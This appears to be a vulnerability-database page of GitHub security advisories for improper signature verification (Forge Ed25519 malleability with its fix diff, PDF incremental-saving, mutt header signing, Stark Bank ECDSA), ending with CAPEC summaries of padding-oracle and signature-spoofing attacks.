}\n+\n for(i = 0; i \u003c n; ++i) {\n m[i] = sm[i];\n }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+ var i;\n+ // Compare little-endian scalar S against group order L and require S \u003c L.\n+ for(i = 31; i \u003e= 0; --i) {\n+ if(bytes[offset + i] \u003c L[i]) {\n+ return true;\n+ }\n+ if(bytes[offset + i] \u003e L[i]) {\n+ return false;\n+ }\n+ }\n+ // S == L is non-canonical.\n+ return false;\n+}\n+\n function modL(r, x) {\n var carry, i, j, k;\n for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
"id": "GHSA-q67f-28xg-22rw",
"modified": "2026-03-27T21:51:06Z",
"published": "2026-03-26T22:04:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
}
GHSA-Q966-HP9V-PW89
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38The Portable Document Format (PDF) specification does not provide any information regarding the concrete procedure of how to validate signatures. Consequently, an Incremental Saving vulnerability exists in multiple products. When an attacker uses the Incremental Saving feature to add pages or annotations, Body Updates are displayed to the user without any action by the signature-validation logic. This affects Foxit Reader before 9.4 and PhantomPDF before 8.3.9 and 9.x before 9.4. It also affects LibreOffice, Master PDF Editor, Nitro Pro, Nitro Reader, Nuance Power PDF Standard, PDF Editor 6 Pro, PDFelement6 Pro, PDF Studio Viewer 2018, PDF Studio Pro, Perfect PDF 10 Premium, and Perfect PDF Reader.
{
"affected": [],
"aliases": [
"CVE-2018-18688"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-07T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Portable Document Format (PDF) specification does not provide any information regarding the concrete procedure of how to validate signatures. Consequently, an Incremental Saving vulnerability exists in multiple products. When an attacker uses the Incremental Saving feature to add pages or annotations, Body Updates are displayed to the user without any action by the signature-validation logic. This affects Foxit Reader before 9.4 and PhantomPDF before 8.3.9 and 9.x before 9.4. It also affects LibreOffice, Master PDF Editor, Nitro Pro, Nitro Reader, Nuance Power PDF Standard, PDF Editor 6 Pro, PDFelement6 Pro, PDF Studio Viewer 2018, PDF Studio Pro, Perfect PDF 10 Premium, and Perfect PDF Reader.",
"id": "GHSA-q966-hp9v-pw89",
"modified": "2022-05-24T17:38:08Z",
"published": "2022-05-24T17:38:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18688"
},
{
"type": "WEB",
"url": "https://pdf-insecurity.org/signature/evaluation_2018.html"
},
{
"type": "WEB",
"url": "https://pdf-insecurity.org/signature/signature.html"
},
{
"type": "WEB",
"url": "https://www.foxitsoftware.com/support/security-bulletins.php"
},
{
"type": "WEB",
"url": "https://www.pdfa.org/recently-identified-pdf-digital-signature-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q998-8JFF-X3RG
Vulnerability from github – Published: 2024-11-12 03:30 – Updated: 2026-06-26 03:31In mutt and neomutt the In-Reply-To email header field is not protected by cryptographic signing which allows an attacker to reuse an unencrypted but signed email message to impersonate the original sender.
{
"affected": [],
"aliases": [
"CVE-2024-49394"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T03:15:03Z",
"severity": "MODERATE"
},
"details": "In mutt and neomutt the In-Reply-To email header field is not protected by cryptographic signing which allows an attacker to reuse an unencrypted but signed email message to impersonate the original sender.",
"id": "GHSA-q998-8jff-x3rg",
"modified": "2026-06-26T03:31:24Z",
"published": "2024-11-12T03:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49394"
},
{
"type": "WEB",
"url": "https://github.com/neomutt/neomutt/issues/4226"
},
{
"type": "WEB",
"url": "https://github.com/neomutt/neomutt/pull/4221"
},
{
"type": "WEB",
"url": "https://github.com/neomutt/neomutt/pull/4227"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-49394"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2325330"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q9Q6-F556-GPM7
Vulnerability from github – Published: 2021-11-10 20:58 – Updated: 2021-11-15 14:44The verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "starkbank-ecdsa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-43571"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-10T18:27:14Z",
"nvd_published_at": "2021-11-09T22:15:00Z",
"severity": "CRITICAL"
},
"details": "The verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.",
"id": "GHSA-q9q6-f556-gpm7",
"modified": "2021-11-15T14:44:13Z",
"published": "2021-11-10T20:58:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43571"
},
{
"type": "PACKAGE",
"url": "https://github.com/starkbank/ecdsa-node"
},
{
"type": "WEB",
"url": "https://github.com/starkbank/ecdsa-node/releases/tag/v1.1.3"
},
{
"type": "WEB",
"url": "https://research.nccgroup.com/2021/11/08/technical-advisory-arbitrary-signature-forgery-in-stark-bank-ecdsa-libraries"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Verification of Cryptographic Signature in starkbank-ecdsa"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.